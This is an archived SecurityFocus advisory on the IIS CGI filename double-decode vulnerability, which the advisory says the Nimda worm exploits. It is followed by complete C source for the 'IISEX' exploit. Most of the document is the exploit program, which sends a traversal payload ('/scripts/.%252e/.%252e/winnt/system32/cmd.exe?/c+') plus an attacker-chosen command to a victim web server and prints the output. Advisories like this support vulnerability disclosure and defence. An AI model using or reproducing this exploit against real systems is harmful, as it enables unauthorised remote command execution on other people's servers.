source: http://www.securityfocus.com/bid/2708/info
 
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
 
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
 
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
 
2. When the security check is completed, IIS decodes CGI parameters.
 
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
 
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
 
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
 
The worm Nimda(and variants) actively exploit this vulnerability.
 
/*  IISEX by HuXfLuX <huxflux2001@hotmail.com>. IIS CGI File Decode Bug
exploit. Written 16-05-2001.
    Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's
products were always
    famous for their backward compatibility!

    You can change the SHOWSEQUENCE value to some other strings that also
work.
    More info: http://www.nsfocus.com

    Thanx to Filip Maertens <filip@securax.be>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"

int resolv(char *hostname,struct in_addr *addr);

int main(int argc, char *argv[])
{

        struct sockaddr_in sin;
        struct in_addr victim;
        char recvbuffer[1], stuff[200]="";
        int create_socket;

        printf("IISEX by HuxFlux <huxflux2001@hotmail.com>\nThis exploits
the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and
5!.\n");

        if (argc < 3)
        {
                printf("[?] Usage: %s [ip] [command]\n", argv[0]);
                exit(0);
        }

        if (!resolv(argv[1],&victim))
        {
                printf("[x] Error resolving host.\n");
                exit(-1);
        }
        printf("\n[S] Exploit procedure beginning.\n");

        if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf("[*] Socket created.\n");

        bzero(&sin,sizeof(sin));
        memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        //sin.sin_addr.s_addr = inet_addr(argv[1]);


        if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf("[*] Connection made.\n");
        else {
                printf("[x] No connection.\n");
                exit(1);
        }

        strcat(stuff, "GET ");
        strcat(stuff, SHOWSEQUENCE);
        strcat(stuff, argv[2]);
        strcat(stuff, " HTTP/1.0\r\n\r\n");
        printf("[*] Sending: %s", stuff);

        memset(recvbuffer, '\0',sizeof(recvbuffer));

        send(create_socket, stuff, sizeof(stuff), 0);

        if ( strstr(recvbuffer,"404") == NULL ) {
                printf("[*] Command output:\n\n");

                while(recv(create_socket, recvbuffer, 1, 0) > 0)
                {
                        printf("%c", recvbuffer[0]);
                }
                printf("\n\n");
        }
        else printf("[x] Wrong command processing. \n");
        printf("[E] Finished.\n");

        close(create_socket);
}

int resolv(char *hostname,struct in_addr *addr)
{
        struct hostent *res;

        if (inet_aton(hostname,addr)) return(1);

        res = gethostbyname(hostname);
        if (res == NULL) return(0);

        memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
        return(1);
}
